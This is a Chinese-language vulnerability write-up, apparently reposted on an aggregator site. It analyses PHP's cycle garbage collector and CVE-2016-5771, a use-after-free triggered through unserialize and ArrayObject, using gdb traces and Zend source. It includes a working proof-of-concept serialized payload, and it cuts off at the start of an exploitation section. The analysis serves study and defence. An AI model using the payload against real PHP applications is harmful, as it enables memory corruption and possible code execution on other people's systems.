Quantcast
Channel: CodeSection,代码区,网络安全 - CodeSec
Viewing all articles
Browse latest Browse all 12749

PHP垃圾回收机制UAF漏洞分析

$
0
0

*本文原创作者:ph1re ,本文属CodeSec原创奖励计划,未经许可禁止转载

一、php垃圾回收机制简介

因为PHP当中存在循环引用,仅以refcount计数器作为垃圾回收机制是不够的,因此在PHP5.3中引入了新的垃圾回收机制。

<?php
$a = array('one');
$a[] = &$a;
unset($a);
?>

在PHP5.2及以前的版本中无法回收变量$a的内存。

在PHP5.3以后的新垃圾回收机制算法以颜色标记的方法来判断垃圾

将所有数组和对象zval节点放入gc_root_buffer并标记为紫色潜在垃圾已放入缓冲区。当节点缓冲区被塞满默认为10000或调用gc_collect_cycles()时开始进行垃圾回收。

以深度优先对zval及其子节点所包含的zval进行refcount减1操作并标记为灰色已减一。

再次以深度优先判断每一个节点包含的zval的值如果zval的refcount等于0那么将其标记成白色垃圾。如果zval的refcount大于0那么将对此zval以及其子节点进行refcount加1还原同时将这些zval的颜色变成黑色正常。

遍历zval节点将C中标记成白色的节点zval释放掉。

垃圾回收算法代码如下

Zend/zend_gc.c

ZEND_API int gc_collect_cycles(TSRMLS_D)
{
[...]
gc_mark_roots(TSRMLS_C);
gc_scan_roots(TSRMLS_C);
gc_collect_roots(TSRMLS_C);
[...]
/* Free zvals */
p = GC_G(free_list);
while (p != FREE_LIST_END) {
q = p->u.next;
FREE_ZVAL_EX(&p->z);
p = q;
}
[...]
}

其中重要的就是gc_mark_roots、gc_scan_roots和gc_collect_roots这三个函数

gc_mark_roots对gc_root_buffer中的每个节点调用zval_mark_greyzval_mark_grey;对节点及其子节点refcount减一并标记为灰色;对已标记为灰色的节点不处理。

gc_scan_roots调用zval_scan对每个节点进行处理,zval_scan只处理灰色节点;调用zval_scan_black对节点refcount大于0的节点的refcount加一并标记为黑色。refcount为0的节点标记为白色。

gc_collect_roots把所有白色节点放入gc_free_list链表等待释放。

二、CVE-2016-5771分析 poc <?php
$serialized_string = 'a:1:{i:1;C:11:"ArrayObject":37:{x:i:0;a:2:{i:1;R:4;i:2;r:1;};m:a:0:{}}}';
$outer_array = unserialize($serialized_string);
gc_collect_cycles();
$filler1 = "aaaa";
$filler2 = "bbbb";
var_dump($outer_array);
?>

序列字符串的本意是定义一个数组,其中包含一个ArrayObject,对象ArrayObject里又包含一个内部数组,内部数组成员是两个引用,一个指向外部数组,一个指向内部数组。但是经过反序列化和垃圾回收之后,外部数组的内存被释放了,但PHP并不知道从而导致Use After Free。


PHP垃圾回收机制UAF漏洞分析

预期的结果应该是

array(1) { // outer_array
[1]=>
object(ArrayObject)#1 (1) {
["storage":"ArrayObject":private]=>
array(2) { // inner_array
[1]=>
// Reference to inner_array
[2]=>
// Reference to outer_array
}
}
}

而实际的运行结果是

string(4) "bbbb"

我们就来调试看一下到底发生了什么。首先编辑PHP自带的.gdbinit在末尾出添加

define dumpgc
set $current = gc_globals.roots.next
printf "GC buffer content:\n"
while $current != &gc_globals.roots
printzv $current.u.pz
set $current = $current.next
end
end

然后在gdb中输入

(gdb) source .gdbinit

这样就可以直接用dumpgc命令来查看gc_root_buffer中的内容了。我们把断点下在gc_collect_cycles()函数上看看垃圾回收过程中究竟发生了什么。

(gdb) b zend_gc.c:gc_collect_cycles
Breakpoint 1 at 0x98dc4a: file /root/php-5.6.20/Zend/zend_gc.c, line 779.
(gdb) r 1.php
Starting program: /root/php-5.6.20/sapi/cli/php 1.php
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib64/libthread_db.so.1".
Breakpoint 1, gc_collect_cycles () at /root/php-5.6.20/Zend/zend_gc.c:779
779 int count = 0;
(gdb) dumpgc
GC buffer content:
[0x7ffff7fd0f40] (refcount=2) array(1): {
1 => [0x7ffff7fd2c80] (refcount=1) object(ArrayObject) #1
}
[0x7ffff7fd1cd0] (refcount=2,is_ref) array(2): {
1 => [0x7ffff7fd1cd0] (refcount=2,is_ref) array(2):
2 => [0x7ffff7fd0f40] (refcount=2) array(1):
}
[0x1306380] (refcount=8074858) NULL
[0x7ffff7fce5d8] (refcount=2) array(1): {
0 => [0x7ffff7fce660] (refcount=1) string(5): "1.php"
}
(gdb)

在执行gc_mark_roots()之前gc_root_buffer中和我们poc相关的zval有两条分别是

外部数组

[0x7ffff7fd0f40] (refcount=2) array(1): {
1 => [0x7ffff7fd2c80] (refcount=1) object(ArrayObject) #1
}

内部数组

[0x7ffff7fd1cd0] (refcount=2,is_ref) array(2): {
1 => [0x7ffff7fd1cd0] (refcount=2,is_ref) array(2):
2 => [0x7ffff7fd0f40] (refcount=2) array(1):
}

可以看到内部数组的两个成员一个指向自身一个指向外部数组。然后我们执行完gc_mark_roots再来看一下

(gdb) b zend_gc.c:611
Breakpoint 2 at 0x98d574: file /root/php-5.6.20/Zend/zend_gc.c, line 611.
(gdb) c
Continuing.
Breakpoint 2, gc_scan_roots () at /root/php-5.6.20/Zend/zend_gc.c:611
611 gc_root_buffer *current = GC_G(roots).next;
(gdb) dumpgc
GC buffer content:
[0x7ffff7fd0f40] (refcount=0) array(1): {
1 => [0x7ffff7fd2c80] (refcount=0) object(ArrayObject) #1
}
[0x7ffff7fce5d8] (refcount=2) array(1): {
0 => [0x7ffff7fce660] (refcount=0) string(5): "1.php"
}
(gdb)

可以看到外部数组的refcount被修改成0内部数组已经被移出buffer了。这样一来后面就会把外部数组的内存给释放了

(gdb) b zend_gc.c:846
Breakpoint 4 at 0x98e043: file /root/php-5.6.20/Zend/zend_gc.c, line 846.
(gdb) c
Continuing.
Breakpoint 4, gc_collect_cycles () at /root/php-5.6.20/Zend/zend_gc.c:846
846 FREE_ZVAL_EX(&p->z);
(gdb) printzv &p->z
[0x7ffff7fd0f40] (refcount=0) NULL
(gdb) s
_efree (ptr=0x7ffff7fd0f40) at /root/php-5.6.20/Zend/zend_alloc.c:2436
2436 if (UNEXPECTED(!AG(mm_heap)->use_zend_alloc)) {
(gdb)

调试可以发现其中的操作逻辑

首先用zval_mark_grey把外部数组标记为灰色。 对外部数组的子节点即ArrayObject对象标记为灰色refcount减一,此时ArrayObject的refcount为0。 对ArrayObject的子节点即内部数组的两个成员分别指向外部数组和内部数组,分别调用zval_mark_grey,实际又会对外部数组和内部数组进行操作。因为外部数组已经被标记过灰色所以直接返回。而内部数组被标记为灰色。两个数组分别refcount减一此时两个数组refcount都是1。 然后又会对内部数组成员分别指向外部数组和内部数组调用zval_mark_grey。这时会再次把外部数组和内部数组的refcount减一,此时外部数组和内部数组的refcount都已经是0了。 注意此步是漏洞产生的关键所在。

这里看出漏洞的成因是对ArrayObject成员refcount进行了一次减一操作,然后又对内部数组的成员refcount进行了一次减一操作,导致外部数组的refcount变成了0,而在我们的PHP脚本中$outer_array这个变量还引用着外部数组的zval呢

其实ArrayObject的成员和内部数组的成员是相同的,都是外部数组和内部数组的引用,那么为什么分别会对ArrayObject的成员和内部数组的成员refcount重复进行减一呢?看下zval_mark_grey的实现。

static void zval_mark_grey(zval *pz TSRMLS_DC)
{
Bucket *p;
tail_call:
if (GC_ZVAL_GET_COLOR(pz) != GC_GREY) {
p = NULL;
GC_BENCH_INC(zval_marked_grey);
GC_ZVAL_SET_COLOR(pz, GC_GREY);
if (Z_TYPE_P(pz) == IS_OBJECT && EG(objects_store).object_buckets) {
zend_object_get_gc_t get_gc;
struct _store_object *obj = &EG(objects_store).object_buckets[Z_OBJ_HANDLE_P(pz)].bucket.obj;
obj->refcount--;
if (GC_GET_COLOR(obj->buffered) != GC_GREY) {
GC_BENCH_INC(zobj_marked_grey);
GC_SET_COLOR(obj->buffered, GC_GREY);
if (EXPECTED(EG(objects_store).object_buckets[Z_OBJ_HANDLE_P(pz)].valid &&
(get_gc = Z_OBJ_HANDLER_P(pz, get_gc)) != NULL)) {
int i, n;
zval **table;
HashTable *props = get_gc(pz, &table, &n TSRMLS_CC);

当对ArrayObject对象调用zval_mark_grey时,会Z_OBJ_HANDLER_P(pz, get_gc)获取对象的get_gc处理函数,这个函数用来返回对象子成员返回的是一个HashTable。而由于PHP没有给ArrayObject对象实现gc函数,这时会Z_OBJ_HANDLER_P(object, get_properties)(object TSRMLS_CC)来获取对象get_properties处理函数,这导致最终调用的是spl_array_get_properties。

static HashTable *spl_array_get_properties(zval *object TSRMLS_DC) /* {{{ */
{
[...]
result = spl_array_get_hash_table(intern, 1 TSRMLS_CC);
[...]
return result;
}

spl_array_get_properties调用spl_array_get_hash_table返回了ArrayObject内部数组的HashTable,这最终导致了垃圾回收算法从ArrayObject对象获取子成员后,对外部数组和内部数组的refcount重复减一并使得最终释放掉了本不该释放的内存。

三、漏洞利用

在实际环境中利用此漏洞要解决几个问题。首先是漏洞环境一般不会手工调用gc_collect_cycles(),所以就需要在单一unserialize()调用的情况下完成垃圾回收。

在PHP中默认的gc_ro

Viewing all articles
Browse latest Browse all 12749

Trending Articles